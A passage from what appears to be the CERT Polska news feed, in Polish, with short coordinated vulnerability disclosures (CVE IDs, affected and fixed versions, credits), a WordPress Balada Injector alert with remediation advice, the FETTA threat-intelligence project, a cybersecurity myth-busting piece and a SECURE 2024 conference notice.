Po tym technicznym zakończeniu planujemy jeszcze wisienkę na torcie, czyli rzut oka na „Relacje 5.0”. Zastanowimy się, czy można pokochać maszynę?

Bazą naszego cyklu jest opracowanie przygotowane w przez ekspertów z Zakładu Biometrii NASK-PIB – Adriana Kordas, Ewelinę Bartuzi-Trokielewicz i gościnnie Jacka Jackowskiego.

Podatność we wtyczce Apaczka do platformy PrestaShop

2024-04-04T12:00:00+01:00

Opis podatności

CERT Polska otrzymał zgłoszenie o podatności we wtyczce Apaczka do platformy PrestaShop i koordynował proces ujawniania informacji.

Podatność CVE-2024-2759 umożliwia pozyskanie danych zawartych w zapisanych szablonach wysyłek (w tym danych klientów) bez uwierzytelniania. Producent potwierdził usunięcie podatności w wersji v5.

Podziękowania

Za zgłoszenie podatności dziękujemy Jakubowi Przepiórze.

Podatności w oprogramowaniu CDeX

2024-03-21T12:00:00+01:00

Opis podatności

CERT Polska otrzymał zgłoszenie o podatnościach w oprogramowaniu CDeX i koordynował proces ujawniania informacji.

Podatność CVE-2024-2463 dotyczy podatnego mechanizmu odzyskiwania hasła, który pozwala na pozyskanie tokenu resetowania hasła dla dowolnego użytkownika.

Podatność CVE-2024-2464 umożliwia na podstawie komunikatów zwracanych podczas resetu hasła ustalenie, czy użytkownik jest prawidłowy, czy nie. Pozwala to stworzyć listę użytkowników aplikacji, co może prowadzić do prób odgadnięcia ich haseł.

Podatność CVE-2024-2465 umożliwia przekierowanie użytkowników na dowolne strony internetowe za pośrednictwem specjalnie spreparowanego adresu URL.

Producent oprogramowania potwierdził usunięcie podatności w wersjach oprogramowania nowszych niż 5.7.1.

Podziękowania

Za zgłoszenie podatności dziękujemy dr. inż. Michałowi Walkowskiemu.

Podatności w oprogramowaniu BMC Control-M

2024-03-18T12:00:00+01:00

Opis podatności

CERT Polska otrzymał zgłoszenie o podatnościach w oprogramowaniu BMC Control-M i koordynował proces ujawniania informacji.

Podatność CVE-2024-1604 występuje w module zarządzania i tworzenia raportów. Pozwala ona zalogowanym użytkownikom na odczyt i wprowadzanie nieautoryzowanych zmian w dowolnych raportach dostępnych w aplikacji, nawet bez odpowiednich uprawnień. Osoba atakująca musi znać unikatowy identyfikator raportu, który chce modyfikować. Podatność została usunięta dla gałęzi 9.0.20 w wersji 9.0.20.238, natomiast dla gałęzi 9.0.21 w wersji 9.0.21.201.

Podatność CVE-2024-1605 polega na ładowaniu (po zalogowaniu się użytkownika) wszystkich bibliotek DLL z katalogu, który pozwala na odczyt i zapis wszystkim użytkownikom. Umożliwia to załadowanie i uruchomienie potencjalnie szkodliwych bibliotek. Dla gałęzi 9.0.20 podatność została usunięta w wersji 9.0.20.238, natomiast dla gałęzi 9.0.21 w wersji 9.0.21.201.

Podatność CVE-2024-1606 pozwala na modyfikowanie generowanych stron internetowych poprzez wstrzyknięcie kodu HTML. Może to doprowadzić np. do udanego ataku phishingowego, poprzez nakłonienie użytkowników do użycia hiperłącza wskazującego na witrynę internetową kontrolowaną przez osobę atakującą. Dla gałęzi 9.0.20 podatność została usunięta w wersji 9.0.20.238, natomiast dla gałęzi 9.0.21 w wersji 9.0.21.200.

Podziękowania

Za zgłoszenie podatności dziękujemy Maksymilianowi Kubiakowi oraz Dawidowi Małeckiemu z firmy AFINE.

Podatność w oprogramowaniu Laragon

2024-02-29T08:00:00+01:00

Opis podatności

CERT Polska w ramach badań własnych znalazł w otwartoźródłowym projekcie Laragon podatność pozwalającą na zdalne wykonanie kodu (RCE).

Laragon w domyślnej konfiguracji nie jest podatny. Uruchomienie załączonego pluginu Simple Ajax Uploader skutkuje powstaniem luki wynikającej z nieprawidłowej walidacji wprowadzanych danych, która ma miejsce w pliku file_upload.php służącym jako przykład wykorzystania pluginu.

Podatności nadano identyfikator CVE-2024-0864. Najprawdopodobniej wszystkie wersje oprogramowania są podatne (włącznie z najnowszą 6.0.0), a z racji na utrudniony kontakt z twórcą, nie wiadomo czy luka zostanie usunięta w przyszłych wydaniach.

Podatności w oprogramowaniu Comarch ERP XL

2024-02-15T12:00:00+01:00

Opis podatności

CERT Polska otrzymał zgłoszenie o podatnościach w oprogramowaniu Comarch ERP XL i koordynował proces ujawniania informacji. Podatności zostały potwierdzone przez producenta oraz otrzymały poprawki bezpieczeństwa.

Podatność CVE-2023-4537 pozwala na obniżenie wersji protokołu MS SQL do postaci niezaszyfrowanej. Aplikacja akceptuje żądania downgrade protokołu nadchodzące ze strony serwera, co umożliwia podsłuchanie i modyfikację komunikacji.
Podatność CVE-2023-4538 polega na niedostatecznym chronieniu danych uwierzytelniających. Skonfigurowane podczas instalacji dane logowania do bazy danych są przechowywane w specjalnej tabeli i szyfrowane za pomocą takiego samego, współdzielonego klucza we wszystkich podatnych wersjach programu Comarch ERP XL. Umożliwia to atakującemu mającemu dostęp do tej tabeli pobranie haseł w postaci niezaszyfrowanej.
Podatność CVE-2023-4539 umożliwia uzyskanie dostępu do informacji przechowywanych w bazie danych. To samo, zakodowane na stałe hasło do specjalnego konta w bazie, jest używane we wszystkich podatnych instalacjach programu Comarch ERP XL.

Podziękowania

Za zgłoszenie podatności dziękujemy dr. inż. Marcinowi Ochabowi.

Podatność w aplikacji iZZi connect

2024-02-15T10:00:00+01:00

Opis podatności

CERT Polska otrzymał zgłoszenie o podatności w aplikacji iZZi connect i uczestniczył w jej koordynacji. Aplikacja zawiera zakodowane na stałe, niezmienne we wszystkich istalacjach, dane logowania do technicznego konta z dostępem do kolejki MQTT. Kolejka ta jest również wykorzystywana przez powiązaną z aplikacją fizyczną centralę rekuperacji. Wykorzystanie tej podatności potencjalnie umożliwia nieautoryzowany dostęp do zarządzania i odczytu parametrów centrali rekuperacyjnej "reQnet iZZi".

Podatność, której nadano identyfikator CVE-2024-0390, została potwierdzona przez producenta i naprawiona w wersji 2024010401 opublikowanej 08.01.2024 r.

Kampania Balada Injector infekuje strony WordPress wykorzystując popularne wtyczki

2024-02-02T12:00:00+01:00

Jeżeli zdarzyło Wam się, że po wejściu na stronę internetową zostaliście przekierowani na podejrzane witryny informujące o wygranej na loterii czy wymuszające włączenie powiadomień push, to prawdopodobnie było to spowodowane infekcją strony przez Balada Injector. Złośliwe przekierowanie najczęściej ujawnia się tylko za pierwszym razem i przy ponownych odwiedzinach otrzymujemy oczekiwaną zawartość strony. Takie przekierowanie to niestety objaw tego, że atakujący mają pełny dostęp do treści i możliwość zarządzania odwiedzaną witryną.

Szkodliwe oprogramowanie Balada Injector od 2017 roku systematycznie wykorzystuje luki w zabezpieczeniach wtyczek do systemu WordPress, aby uzyskać uprawnienia administratora na zaatakowanych stronach.

Wykorzystanie popularnej wtyczki Popup Builder

13 grudnia 2023 r. rozpoczęła się kolejna fala infekcji stron internetowych, tym razem z użyciem popularnej wtyczki Popup Builder w wersji do 4.2.3, w których wykryto podatność CVE-2023-6000. Wtyczka służy do tworzenia "wyskakujących okienek" z komunikatami. Po pomyślnym wykorzystaniu luka pozwala atakującym na wykonanie w panelu witryny dowolnej czynności, w tym zainstalowanie wtyczek i utworzenie nowych kont administratorów. Szczegóły techniczne dotyczące wstrzyknięcia i wykrywania obecności szkodliwego kodu zostały opisane na blogu Sucuri.

Rozesłaliśmy powiadomienia do administratorów stron internetowych zarejestrowanych w domenie .pl, które znalazły się w publicznie dostępnych wynikach skanowania pod kątem infekcji.

Jak zabezpieczyć stronę przed Balada Injector?

Zabezpieczenie strony internetowej opartej o WordPress powinno polegać przede wszystkim na systematycznym aktualizowaniu oprogramowania, w tym stosowanych wtyczek i ich usuwaniu, jeżeli nie są już wspierane. Jedyną metodą, która zapewnia wysoką skuteczność jest stosowanie wbudowanych mechanizmów automatycznej aktualizacji. Należy pamiętać także o stosowaniu uwierzytelniania dwuskładnikowego, unikalnych i silnych haseł, a także o ograniczaniu uprawnień użytkowników.

W przypadku wykrycia infekcji witryny, aby uniemożliwić złośliwe przekierowanie nie wystarczy usunięcie podatnej wtyczki. Należy uznać, że atakujący mógł posiadać pełny dostęp do plików strony. Należy prześledzić i usunąć wszelkie nieautoryzowane zmiany w kodzie strony, przejrzeć listę użytkowników oraz zmienić ich hasła. Najpewniejszym rozwiązaniem jest stworzenie witryny od nowa, bez kopiowania plików pomiędzy serwerami, lub wykorzystać kopię zapasową z czasu gdy wtyczka nie była jeszcze zainstalowana. Konieczne jest także przyjęcie założenia, że atakujący zdobyli wszystkie informacje znajdujące się na stronach i w połączonej bazie danych.

W odpowiedzi na ostatnią kampanię zespół CERT Polska dodał sprawdzenie, czy strona została zainfekowana oprogramowaniem Balada Injector wykorzystującą podatną wtyczkę Popup Builder, jako regułę do skanera Nuclei, z którego korzysta rozwijane przez nas narzędzie Artemis.

Cyberbezpieczeństwo ponad granicami: Projekt FETTA czyli pogłębienie współpracy w zakresie rozpoznania zagrożeń cyberprzestrzeni EU

2024-01-31T18:20:00+01:00

Jednym z kluczowych wyzwań związanych z europejskim cyberbezpieczeństwem jest zależność od danych pochodzących z krajów spoza UE. Projekt FETTA (Federated European Team for Threat Analysis, pol. Europejski Zespół Analizy Zagrożeń) ma na celu rozwiązanie tego problemu poprzez utworzenie międzynarodowego zespołu opracowującego produkty i narzędzia z zakresu Cyber Threat Intelligence (CTI).

Powstanie FETTA jest wynikiem wniosku złożonego do inicjatywy Cybersecurity and Trust w ramach programu Digital Europe. Projekt jest współfinansowany przez Unię Europejską w ramach Europejskiej Sieci Cyberbezpieczeństwa i Centrum Kompetencji w dziedzinie Cyberbezpieczeństwa (ECCC).

Głównym zadaniem FETTA jest wspólne analizowaniu danych pozyskanych w ramach UE w celu opracowania produktów i rozwiązań z zakresu CTI.

Projekt FETTA powstał, aby ułatwić współpracę i dzielenie się wiedzą w obszarze CTI. Jest on odpowiedzią na wyzwania wynikające ze złożoności i wieloaspektowości zagadnień związanych z cyberbezpieczeństwem.

Projekt będzie bazować na rozwiązaniach open source opracowanych przez partnerów (CERT.PL i CIRCL), takich jak MISP, MWDB, Cerebrate, projekt AIL i narzędzie n6. W ramach FETTA będą one wykorzystywane do rozwijania rozwiązań ułatwiających współpracę w zakresie pozyskiwania, analizy i rozpowszechniania danych związanych z Cyber Threat Intelligence.

Cele projektu FETTA to definiowanie wymagań i procesów oraz dostarczanie produktów z dziedziny CTI. A główna idea to odciążenie zespołów krajowych, które traciły cenny czas dublując zadania.

Wyniki pracy FETTA, czyli narzędzia i metodyki będą publikowane jako nowe projekty open source lub aktualizacje już istniejących narzędzi open source.

Idea projektu FETTA to stworzenie wirtualnego zespołu CTI obejmującego wiele krajowych zespołów CSIRT w celu dzielenia się wiedzą, narzędziami i danymi i współpracy w zakresie analizy Cyber Threat Intelligence. Takie podejście ma na celu dalszą poprawę orientacji w krajobrazie cyberbezpieczeństwa, a także ułatwienie szybkiego rozpoznawania i reagowania na pojawiające się zagrożenia.

O partnerach

CERT Polska

CERT Polska to krajowy zespół CSIRT zajmujący się reagowaniem na incydenty i zagrożenia związane z cyberbezpieczeństwem w Polsce. Znany jest ze swojego kompleksowego podejścia do cyberbezpieczeństwa i orientacji w krajobrazie cyberzagrożeń i jego implikacji dla bezpieczeństwa narodowego. Jako lider projektu FETTA, CERT Polska rozumie znaczenie analizy skomplikowanych zagrożeń i dostarczania praktycznej wiedzy. Udział CERT Polska w projekt FETTA to dowód na jego zaangażowanie w poprawę cyberbezpieczeństwa nie tylko w Polsce, ale również w całej Unii Europejskiej.

CIRCL (Computer Incident Response Center Luxembourg)

Computer Incident Response Center Luxembourg (CIRCL) to inicjatywa rządowa, która ma na celu zapewnienie wsparcia w zakresie reagowania na zagrożenia i incydenty związane z cyberbezpieczeństwem w Luksemburgu. Do projektu FETTA, CIRCL wnosi swoje szerokie doświadczenie w zarządzaniu incydentami związanymi z cyberbezpieczeństwem oraz rozpoznawania zagrożeń cyberprzestrzeni. CIRCL może także pochwalić się rozwojem wielu innowacyjnych narzędzi open source. Wkład CIRCL w projekt FETTA jest kluczowy dla osiągnięcia zwiększonej współpracy i dzielenia się informacjami w Europie.

Podatności w terminalach płatniczych firmy PAX

2024-01-15T12:00:00+02:00

Opis podatności

CERT Polska otrzymał zgłoszenie o podatnościach w oprogramowaniu różnych modeli terminali płatniczych POS (Point Of Sale) firmy PAX i koordynował proces ujawniania informacji. Wszystkie podatności zostały potwierdzone przez producenta oraz otrzymały adresujące je poprawki bezpieczeństwa. Szczegóły techniczne zostały opisane na stronie znalazców błędów.

Błędne sprawdzanie wersji opisane w podatności CVE-2023-4818 w urządzeniu PAX A920 pozwala na wgranie starszej wersji bootloadera pod warunkiem, że jest on poprawnie podpisany przez firmę PAX. Do przeprowadzenia ataku wymagany jest dostęp do portu USB urządzenia.
Podatność CVE-2023-42134 we wszystkich urządzeniach POS opartych o system Android z oprogramowaniem w wersji PayDroid_8.1.0_Sagittarius_V11.1.45_20230314 lub niższej pozwala skorzystać w nieudokumentowanej komendy aby nadpisać podpisaną partycję, w konsekwencji czego możliwe jest lokalne wykonanie kodu. Do przeprowadzenia ataku wymagany jest dostęp do portu USB urządzenia.
Podatność CVE-2023-42135 w urządzeniach PAX A920Pro oraz A50 z oprogramowaniem PayDroid_8.1.0_Sagittarius_V11.1.50_20230614 opisuje ominięcie walidacji wprowadzanych do urządzenia danych podczas flashowania jednej z partycji, dzięki czemu możliwe jest wstrzyknięcie dodatkowego parametru i lokalne wykonanie kodu. Do przeprowadzenia ataku wymagany jest dostęp do portu USB urządzenia.
Podatność CVE-2023-42136 we wszystkich urządzeniach POS opartych o system Android z oprogramowaniem w wersji PayDroid_8.1.0_Sagittarius_V11.1.50_20230614 lub niższej pozwala na lokalne wykonanie komend z przywilejami konta systemowego poprzez wstrzyknięcie spreparowanego polecenia powłoki. Do przeprowadzenia ataku wymagany jest dostęp do powłoki urządzenia.
Podatność CVE-2023-42137 we wszystkich urządzeniach POS opartych o system Android z oprogramowaniem w wersji PayDroid_8.1.0_Sagittarius_V11.1.50_20230614 lub niższej pozwala na wykonanie komend z wysokimi uprawnieniami poprzez użycie spreparowanych dowiązań symbolicznych. Do przeprowadzenia ataku wymagany jest dostęp do powłoki urządzenia.

Podziękowania

Za zgłoszenie podatności dziękujemy Hubertowi Jasudowiczowi, Adamowi Klisiowi oraz pozostałym członkom zespołu STM Cyber R&D.

Podatności w oprogramowaniu routera Hongdian H8951-4G-ESP

2024-01-12T10:00:00+01:00

Opis podatności

CERT Polska otrzymał zgłoszenie o podatnościach w oprogramowaniu routera Hongdian H8951-4G-ESP i koordynował proces ujawniania informacji.

Podatność CVE-2023-49253 to predefiniowane hasło administratora root. Domyślne hasło administratora root znane producentowi jest zakodowane na stałe w urządzeniu i nie można go zmienić w interfejsie użytkownika.

Podatność CVE-2023-49254 umożliwia uwierzytelnionemu użytkownikowi wykonywanie dowolnych poleceń z uprawnieniami administratora root poprzez ustawienie pola "destination" w narzędziach do testowania sieci. Jest ona podobna do podatności CVE-2021-28151.

Podatność CVE-2023-49255 umożliwia uzyskanie dostępu do konsoli routera bez uwierzytelnienia. Dostęp do terminala routera jest możliwy za pomocą parametru "data". Użytkownik anonimowy może wykonywać polecenia z uprawnieniami użytkownika aktualnie zalogowanego.

Podatność CVE-2023-49256 umożliwia anonimowe pobranie kopii zapasowej pliku konfiguracyjnego i odszyfrowanie haseł używając stałego klucza.

Podatność CVE-2023-49257 umożliwia uwierzytelnionemu użytkownikowi dowolnego pliku w formacie CGI używając możliwości przesłania certyfikatu i wykonanie go z uprawnieniami administratora root.

Podatność CVE-2023-49258 umożliwia atak typu cross-site scripting (XSS) pod adresem "/gui/terminal_tool.cgi" za pomocą parametru "data".

Podatność CVE-2023-49259 umożliwia zgadnięcie ciasteczek z danymi uwierzytelniania, które są generowane przy użyciu słabego algorytmu w oparciu o nazwę użytkownika, stały sekret i czas działania.

Podatność CVE-2023-49260 umożliwia zmianę bannera MOTD i wykonanie ataku typu cross-site scripting (XSS).

Podatność CVE-2023-49261 umożliwia odczytanie wartości "tokenKey" z kodu źródłowego HTML strony logowania.

Podatność CVE-2023-49262 umożliwia ominięcie mechanizmu uwierzytelniania poprzez przekroczenie zakresu wartości pola w ciasteczku "authentication", o ile istnieje aktywna sesja użytkownika.

Firma Hongdian usunęła podatności w wersji (build) 2310271149, co zostało potwierdzone przez zgłaszającego.

Podziękowania

Za zgłoszenie podatności dziękujemy Robertowi Pogorzelskiemu z firmy SEQRED.

Podatność w oprogramowaniu Kofax Capture

2024-01-11T10:00:00+01:00

Opis podatności

CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu Kofax Capture i koordynował proces ujawniania informacji. Atakujący może spreparować link, który – gdy zostanie użyty przez zalogowanego użytkownika – spowoduje wykonanie kodu JavaScript. Powodem jest niepoprawna walidacja danych przesyłanych metodą POST w końcówce "/sofer/DocumentService.asc/SaveAnnotation". Podatności nadany został identyfikator CVE-2023-5118.

Nie udało nam się skontaktować z producentem oprogramowania w celu potwierdzenia zakresu podatnych wersji. Otrzymaliśmy informację od zgłaszających, że podatność została usunięta w wersji oprogramowania powyżej 11.1.x. Poprzednie wersje również mogą być podatne, jednak nie zostało to potwierdzone.

Podziękowania

Za zgłoszenie podatności dziękujemy Dawidowi Małeckiemu oraz Sławomirowi Zakrzewskiemu z firmy AFINE.

Podatność w oprogramowaniu TCExam

2024-01-11T08:00:00+01:00

Opis podatności

CERT Polska w ramach badań własnych znalazł w otwartoźródłowym projekcie TCExam podatność pozwalającą na nieuprawniony dostęp do chronionej części informacji, tj. odpowiedzi do egzaminów. Podatność ta objawiała się w przypadku niezastosowania dodatkowego zabezpieczenia chroniącego folder "admin" przed dostępem z internetu, np. za pomocą mechanizmu basic authentication.

Podatności nadano identyfikator CVE-2023-6554. Została ona naprawiona w wersji 15.1.0 oprogramowania TCExam.

Podatność w oprogramowaniu TasmoAdmin

2024-01-08T20:00:00+01:00

Opis podatności

CERT Polska w ramach badań własnych znalazł w otwartoźródłowym projekcie TasmoAdmin podatność typu open redirect. Atakujący jest w stanie spreparować link z odpowiednią wartością parametru "current", który, w przypadku użycia przez ofiarę, przenosi ją na dowolny podany przez atakującego adres.

Podatności nadano identyfikator CVE-2023-6552. Została ona naprawiona w wersji 3.3.0.

Podatność w oprogramowaniu PrestaShop Google Integrator

2024-01-08T20:00:00+01:00

Opis podatności

CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu PrestaShow Google Integrator i uczestniczył w jej koordynacji. Podatność pozwala na pozyskanie lub zmianę informacji z bazy danych poprzez umieszczenie polecenia w jednym z ciasteczek. Podatność, której nadano identyfikator CVE-2023-6921, została potwierdzona przez producenta i naprawiona w wersji 2.1.4. Każdy użytkownik modułu w wersji poniżej 2.1.4 może pobrać darmową aktualizację pluginu z konta PrestaShow.

Podziękowania

Za zgłoszenie podatności dziękujemy Piotrowi Zdunkowi.

Cyberbombki - podsumowanie

2024-01-05T11:10:00+01:00

Okres świąteczny powoli dobiega końca, zatem najwyższy czas ostatecznie rozprawić się z cyberbombkami.

W grudniu przygotowaliśmy dla Was cykl „Rozbrajamy cyberbombki”, w którym obalaliśmy najpopularniejsze mity dotyczące cyberbezpieczeństwa.

Z naszych mediów społecznościowych mogliście dowiedzieć się:

Dlaczego zielona kłódka przy adresie strony nie gwarantuje bezpieczeństwa
Dlaczego w roku 2023/2024 nie trzeba obawiać się publicznych sieci WiFi
Dlaczego częsta zmiana hasła nie podnosi poziomu bezpieczeństwa.

W tym tekście chcemy rozwinąć powyższe tematy, ale też rozbroić naszą ostatnią cyberbombkę:

Czy temat cyberbezpieczeństwa dotyczy każdego?

Kłódka to (nie) bezpieczeństwo

Na początek wróćmy do zielonej kłódki. Popularny mit głosi, że jeśli obok adresu w przeglądarce widnieje symbol zielonej kłódki to jesteśmy bezpieczni. To niestety nieprawda.

Zacznijmy od początku. Czym w ogóle jest ta zielona kłódka?

Zielona kłódka przy adresie strony informuje o tym, że połączenie z serwerem jest szyfrowane, ponieważ strona posiada certyfikat TLS.

Tyle tylko, że certyfikat TLS jest bardzo łatwy do uzyskania i można dostać go za darmo. Z jednej strony to bardzo dobrze, bo rośnie ogólny poziom bezpieczeństwa sieci. Ale z drugiej strony sprawia to, że większość stron phishingowych ma adres zaczynający się od https i poprzedzony kłódką.

Ten paradoks zauważyli nawet twórcy przeglądarki Google Chrome, którzy mylący symbol kłódki postanowili zastąpić symbolem ustawień, który ma zachęcać użytkowników do zapoznania się z informacjami dotyczącymi odwiedzanej strony.

Zatem złota zasada: ważny jest adres odwiedzanej strony, nie to czy znajduje się przy nim kłódka.

Publiczne nie znaczy bezpieczne

Temat certyfikatów naturalnie prowadzi nas do zagadnienia publicznych sieci WiFi. Nie widzicie zależności? Nie szkodzi, o tym właśnie będziemy pisać.

Jak to jest z tym publicznym WiFi? W powszechnej świadomości utarło się przekonanie, że używanie takiej otwartej sieci w kawiarni, hotelu lub na lotnisku to proszenie się o kłopoty. A konkretnie? Że atakujący mogą wtedy podsłuchać nasz ruch i wykraść nasze hasła.

I owszem. Tak BYŁO.

Obecnie praktycznie cały ruch w Internecie jest szyfrowany właśnie za pomocą certyfikatów TLS, tak to dokładnie te od zielonych kłódek. Zatem dane, które można podsłuchać w publicznej sieci będą zaszyfrowane. A zaszyfrowane dane bez odpowiedniego klucza to po prostu nic niewart bełkot.

Hasła – nowsze nie znaczy bezpieczniejsze

Mieliśmy sporo pomysłów na tytuł tego rozdziału np.:

Hasła, niech ktoś zatrzyma tę karuzelę śmiechu
Dirty securing, czyli wirujące hasła
Nowsze jest zawsze lepsze, a ta zasada jest najstarsza, czyli jest najlepsza (Jak poznałem waszą matkę).

To o co chodzi z tymi hasłami? Badania dowiodły, że wymuszona cykliczna zmiana hasła sprawia, że staje się ono coraz prostsze. Czyli jest zupełnie odwrotnie niż wyobrażają sobie specjaliści od bezpieczeństwa w instytucjach, które wymagają takich zmian.

Nikt lub prawie nikt nie zmienia hasła:

vvpE_fRR9HXt na .!JNP@R8ktMW

To, co robi większość użytkowników wygląda raczej tak:

Moje_haslo1 na Moje_haslo2

Lub bardziej kreatywnie:

MojeBezpieczneHaslo1Styczen na MojeBezpieczneHaslo4Kwiecien

Jako istoty ludzkie nie lubimy się przemęczać. A już szczególnie nie lubimy zapamiętywać losowych ciągów znaków. Nic więc dziwnego, że na wymóg częstej zmiany hasła reagujemy jego uproszczeniem. To naturalne.

No dobrze. W takim razie jak pozostać w zgodzie z naszą ludzką naturą, a jednocześnie używać bezpiecznych haseł?

Trzy zasady:

Najlepsze hasło to kombinacja kilku słów np. NaKolacjeZjemZielonePomidory
Różne hasła do różnych usług
Weryfikacja dwuetapowa

Lub jedna złota zasada, czyli korzystanie z managera haseł.

Jeśli interesuje was temat haseł, to zajrzyjcie do naszego poradnika, który znajdziecie tutaj.

Wreszcie nadszedł czas na ostatnią – sylwestrową cyberbombę.

Tak, temat cyberbezpieczeństwa dotyczy każdego

Często słyszymy, że cyberbezpieczeństwo to temat, którym powinny martwić się duże firmy, ważne persony i, oczywiście, politycy. Tymczasem, my, zwykli zjadacze chleba możemy sobie odpuścić, bo raczej nie staniemy się celem ataku.

No cóż, raczej nikt nie będzie nas śledził przez kamerkę i nie zażąda okupu za oddanie dostępu do fotek z wakacji. Ale:

Przejęcie konta na Facebooku
Phishing we wszystkich jego odmianach
Wyczyszczenie konta w banku
Kradzież tożsamości

To także są cyberataki. Może nie są spektakularne, ale mogą przysporzyć wielu kłopotów.

Cyberprzestępstwa to nie tylko wielkie i głośne sprawy. Większość ataków opiera się na skali, czyli masowym rozsyłaniu maili lub smsów z linkami do fałszywych stron płatności. Znacie smsy o wstrzymanej paczce i maile o jedynej i niepowtarzalnej okazji na inwestycję, prawda? To właśnie cyberataki. Niby niepozorne, a jednak mogą mieć fatalne konsekwencje.

Dlatego przypominamy – temat bezpieczeństwa dotyczy wszystkich.

I dlatego w 2024 planujemy dalej edukować i szerzyć wiedzę o cyberbezpieczeństwie i cyberhigienie. (i mamy trochę nadziei, że na naszej przyszłorocznej choince nie będzie już bombek, które rozbrajaliśmy w tym roku).

Secure 2024 - znamy datę!

2024-01-05T11:10:00+01:00

Secure to dwudniowa konferencja poświęcona strategicznym wyzwaniom w cyberprzestrzeni. Wydarzenie odbędzie się w dniach 16-17 kwietnia w Muzeum Historii Polski w Warszawie. Tegoroczna edycja odbywa się pod hasłem Horyzont cyberwyzwań.

W programie konferencji są m.in. prezentacje, rozmowy i panele dyskusyjne z udziałem wysokich rangą przedstawicieli instytucji międzynarodowych, administracji publicznej i sektora prywatnego. Dzień wcześniej, 15 kwietnia, wychodząc naprzeciw potrzebie rozwijania technicznych kompetencji w obszarze cyberbezpieczeństwa przygotowujemy dla uczestników ofertę szkoleń, które pozwolą lepiej poznać mechanizmy i narzędzia dostępne dla osób dbających o ten obszar.

Hasło 27. Edycji jest nieprzypadkowe. Jesteśmy na progu nowych czasów. Zmienia się technologia i jej postrzeganie. Ewoluuje także podejście do kwestii cyberbezpieczeństwa. Wiele „starych” problemów pozostaje jednak nierozwiązanych, a nowe pojawiają się już na horyzoncie. Jesteśmy świadomi, że nadchodzi era powszechnego wykorzystania AI w cyberprzestrzeni - także w sferze technik obrony, jak i ataków.

Świadomi tych zmian, kolejną edycję konferencji SECURE chcemy poświęcić właśnie m.in. kwestiom związanym z coraz powszechniejszym wykorzystaniem sztucznej inteligencji w cyberświecie. SECURE to przecież pierwsza konferencja w Polsce poświęcona bezpieczeństwu teleinformatycznemu ze szczególnym zorientowaniem na bezpieczeństwo internetu czy cyberprzestrzeni. Od pierwszej edycji w 1997 naszą ambicją było poruszanie kwestii aktualnych i takie przygotowywanie agendy, by jak najlepiej odpowiadała na wyzwania, z którymi mierzą się specjaliści w branży. Dzieje się tak również dlatego, że za organizację wydarzenia odpowiada NASK i działający w ramach instytutu zespół CERT Polska, który cyberbezpieczeństwem w skali kraju zajmuje się na co dzień.

Konferencję adresujemy do szerokiego grona ekspertów, agenda wydarzenia będzie zróżnicowana, a nad jej ostatecznym kształtem pracuje Rada Programowa pod przewodnictwem dyrektora Krzysztofa Silickiego. Jesteśmy jednak wciąż otwarci i zapraszamy tych, którzy są gotowi wygłosić prezentację poruszającą zagadnienia z obszarów tematycznych takich jak np.:

zagrożenia związane z AI
bezpieczeństwo infrastruktury - on premise vs. chmura, obszar IT oraz OT
zastosowania szeroko rozumianego AI w bezpieczeństwie
reagowanie na incydenty
cyberprzestępczość, przeciwdziałanie, działania organów ścigania
prawo polskie i europejskie w obszarze cyberbezpieczeństwa
czynnik ludzki w bezpieczeństwie, m.in. budowanie świadomości zagrożeń
cyber threat intelligence oraz threat hunting
ataki - podatności, szkodliwe oprogramowanie i techniki atakujących
wykrywanie i analiza zagrożeń
zarządzanie bezpieczeństwem w organizacji, analiza ryzyka i zwiększanie dojrzałości
współpraca między podmiotami - perspektywa krajowa i międzynarodowa

Szczegóły dotyczące zgłoszeń znajdują się tutaj: SECURE 2024 :: pretalx.

Już wkrótce opublikujemy także agendę wydarzenia i zdradzimy nazwiska prelegentów. Stay tuned!

Podatność w bibliotece class.upload.php

2024-01-04T20:00:00+01:00

Opis podatności

CERT Polska w ramach badań własnych znalazł w otwartoźródłowej bibliotece class.upload.php podatność typu Stored XSS, której nadano identyfikator CVE-2023-6551. Związana jest ona z nieprawidłową walidacją przesyłanych danych.

Według deklaracji autora podatność ta nie zostanie usunięta z biblioteki. Osoby korzystające z niej muszą być świadomi zagrożeń z tego wynikających i odpowiednio zabezpieczyć swoją aplikację poprzez korzystanie z whitelisty rozszerzeń plików, które można wysyłać z użyciem tej biblioteki, jak również konfigurując serwer tak, aby zawsze zwracał on rodzaj pliku na podstawie rozszerzenia. Wymienione wyżej zalecenie dodane zostały do pliku README projektu.

Podatność w aplikacji eWeLink firmy CoolKit Technology (Android & iOS)

2023-12-30T00:00:00+01:00

Opis podatności

CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu eWeLink na platformach Android i iOS oraz uczestniczył w jej koordynacji. Podatność umożliwia ominięcie ekranu blokady aplikacji. Podatność, której nadano identyfikator CVE-2023-6998, została potwierdzona przez producenta i naprawiona w wersjach 5.2.0 na obu platformach.

Podziękowania

Za zgłoszenie podatności dziękujemy Janowi Adamskiemu z Zakładu Cyberbezpieczeństwa NASK.

Podatność w oprogramowaniu MegaBIP i SmodBIP

2023-12-20T20:00:00+01:00

Opis podatności

CERT Polska w ramach badań własnych znalazł podatność typu Stored XSS w oprogramowaniu MegaBIP (obecnie rozwijane) oraz SmodBIP (bez wsparcia), które są systemami zarządzania treścią (CMS) służące podmiotom do utrzymywania Biuletynów Informacji Publicznej (BIP). Podatność ta, której nadano identyfikator CVE-2023-5378, pozwala użytkownikowi znającemu adres panelu administracyjnego na umieszczenie w serwisie skryptu, który może zostać wykonany w przeglądarce administratora. Wśród potencjalnych konsekwencji znajduje się utworzenie nowego konta administratora, co z kolei pozwala na pełne przejęcie strony.

MegaBIP w wersji 4.36.2 oraz SmodBIP w najnowszej dostępnej wersji 2.21 są podatne. Można zatem przyjąć, że wszystkie poprzednie wydania są również podatne. MegaBIP w wersji 5.08 został przetestowany i nie zawiera już tej luki, jednak nieznany jest dokładny zakres podatnych wersji.

Rosyjska Służba Wywiadu Zagranicznego (SVR) wykorzystuje podatność w oprogramowaniu TeamCity do szeroko zakrojonych działań.

2023-12-13T18:00:00+02:00

